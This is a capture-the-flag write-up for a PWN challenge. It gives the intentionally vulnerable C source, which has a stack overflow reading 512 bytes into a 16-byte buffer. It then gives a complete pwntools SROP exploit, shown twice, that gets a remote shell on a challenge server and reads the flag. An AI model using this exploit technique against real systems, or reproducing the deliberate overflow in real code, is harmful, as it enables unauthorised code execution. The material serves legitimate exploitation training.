const char binsh[] = "/bin/sh";
// Force the compiler to actually use it
void* get_binsh() {
return (void*)binsh;
}
// Syscall wrappers
long syscall_write(int fd, const void *buf, unsigned long count) {
long ret;
__asm__ volatile (
"mov $1, %%rax\n"
"syscall"
: "=a"(ret)
: "D"(fd), "S"(buf), "d"(count)
: "rcx", "r11", "memory"
);
return ret;
}
long syscall_read(int fd, void *buf, unsigned long count) {
long ret;
__asm__ volatile (
"mov $0, %%rax\n"
"syscall"
: "=a"(ret)
: "D"(fd), "S"(buf), "d"(count)
: "rcx", "r11", "memory"
);
return ret;
}
void syscall_exit(int code) {
__asm__ volatile (
"mov $60, %%rax\n"
"syscall"
:
: "D"(code)
);
}
// Helper to print strings
void print(const char *s) {
int len = 0;
while(s[len]) len++;
syscall_write(1, s, len);
}
// Our two gadgets
void echo_rax() {
__asm__("pop %rax; ret;");
}
void echo_call() {
__asm__("syscall; ret;");
}
// Vulnerable function
void listen() {
char whisper[16];
print("The void echoes...\n");
syscall_read(0, whisper, 512);
}
// Entry point (no main, no libc)
void _start() {
print("════════════════════════════════\n");
print(" ECHOES \n");
print("════════════════════════════════\n");
print("In the silence, two sounds remain\n");
print("Can you make them resonate?\n");
print("════════════════════════════════\n\n");
listen();
print("\n Silence returns...\n");
syscall_exit(0);
}
from pwn import *
context.log_level = 'info'
context.arch = 'amd64'
binary = './main'
elf = ELF(binary)
p = remote('4.233.210.175',9003)
echo_rax = 0x4010ce # pop rax ; ret
echo_call = 0x4010d7 # syscall ; ret
log.success(f" Echo 1 (pop rax): {hex(echo_rax)}")
log.success(f" Echo 2 (syscall): {hex(echo_call)}")
# ═══════════════════════════════════════
# Find /bin/sh string in binary
# ═══════════════════════════════════════
try:
binsh = next(elf.search(b'/bin/sh\x00'))
except StopIteration:
try:
binsh = next(elf.search(b'/bin/sh'))
except StopIteration:
# From your objdump: /bin/sh is at 0x402000
binsh = 0x402000
log.warning(f"Hardcoded /bin/sh address: {hex(binsh)}")
log.success(f"/bin/sh found at: {hex(binsh)}")
p.recvuntil(b'echoes...')
log.info("Building SIGROP payload...")
offset = 24 # 16 bytes buffer + 8 bytes RBP
payload = b'A' * offset
# Set rax = 15 (sys_rt_sigreturn)
payload += p64(echo_rax)
payload += p64(15)
# Call sigreturn
payload += p64(echo_call)
# Build sigreturn frame for execve
frame = SigreturnFrame()
frame.rax = 59 # sys_execve
frame.rdi = binsh # pointer to "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = echo_call # return to syscall gadget
frame.rsp = 0# safe stack location
payload += bytes(frame)
# ═══════════════════════════════════════
# Send exploit
# ═══════════════════════════════════════
log.info(f"Payload size: {len(payload)} bytes")
log.info("Sending the resonance...")
p.send(payload)
sleep(0.5)
log.success("=" * 50)
log.success(" The echoes sing together!")
log.success("Shell spawned!")
log.success("=" * 50)
p.interactive()
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Hard |
| Author | r3t0x |
| Technique | SROP (Sigreturn-Oriented Programming) |
pwndbg> checksec ./main
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
This is a statically linked, no-libc binary. It uses raw syscalls only — read, write, and exit. This means there's no system(), no printf(), nothing from libc. We must use raw syscalls.
The binary provides exactly two gadgets:
echo_rax: pop rax ; ret @ 0x4010ce
echo_call: syscall ; ret @ 0x4010d7
With pop rax; ret + syscall; ret, we can invoke any syscall by controlling RAX.
Sigreturn-Oriented Programming abuses sys_rt_sigreturn (syscall 15) to restore a fake signal frame, giving us full control over all registers.
pop rax; retsyscall; retRAX = 59 (sys_execve)RDI = address of "/bin/sh"RSI = 0, RDX = 0RIP = syscall; retframe = SigreturnFrame()
frame.rax = 59 # sys_execve
frame.rdi = binsh # "/bin/sh" in .rodata
frame.rsi = 0
frame.rdx = 0
frame.rip = echo_call # syscall; ret
[+] /bin/sh found at: 0x402000
[*] Building SIGROP payload...
[+] The echoes sing together!
$ cat flag.txt
MOJO-JOJO{s1gr3turn_m4st3r}
from pwn import *
context.log_level = 'info'
context.arch = 'amd64'
binary = './main'
elf = ELF(binary)
p = remote('4.233.210.175',9003)
echo_rax = 0x4010ce # pop rax ; ret
echo_call = 0x4010d7 # syscall ; ret
log.success(f" Echo 1 (pop rax): {hex(echo_rax)}")
log.success(f" Echo 2 (syscall): {hex(echo_call)}")
# ═══════════════════════════════════════
# Find /bin/sh string in binary
# ═══════════════════════════════════════
try:
binsh = next(elf.search(b'/bin/sh\x00'))
except StopIteration:
try:
binsh = next(elf.search(b'/bin/sh'))
except StopIteration:
# From your objdump: /bin/sh is at 0x402000
binsh = 0x402000
log.warning(f"Hardcoded /bin/sh address: {hex(binsh)}")
log.success(f"/bin/sh found at: {hex(binsh)}")
p.recvuntil(b'echoes...')
log.info("Building SIGROP payload...")
offset = 24 # 16 bytes buffer + 8 bytes RBP
payload = b'A' * offset
# Set rax = 15 (sys_rt_sigreturn)
payload += p64(echo_rax)
payload += p64(15)
# Call sigreturn
payload += p64(echo_call)
# Build sigreturn frame for execve
frame = SigreturnFrame()
frame.rax = 59 # sys_execve
frame.rdi = binsh # pointer to "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = echo_call # return to syscall gadget
frame.rsp = 0# safe stack location
payload += bytes(frame)
# ═══════════════════════════════════════
# Send exploit
# ═══════════════════════════════════════
log.info(f"Payload size: {len(payload)} bytes")
log.info("Sending the resonance...")
p.send(payload)
sleep(0.5)
log.success("=" * 50)
log.success(" The echoes sing together!")
log.success("Shell spawned!")
log.success("=" * 50)
p.interactive()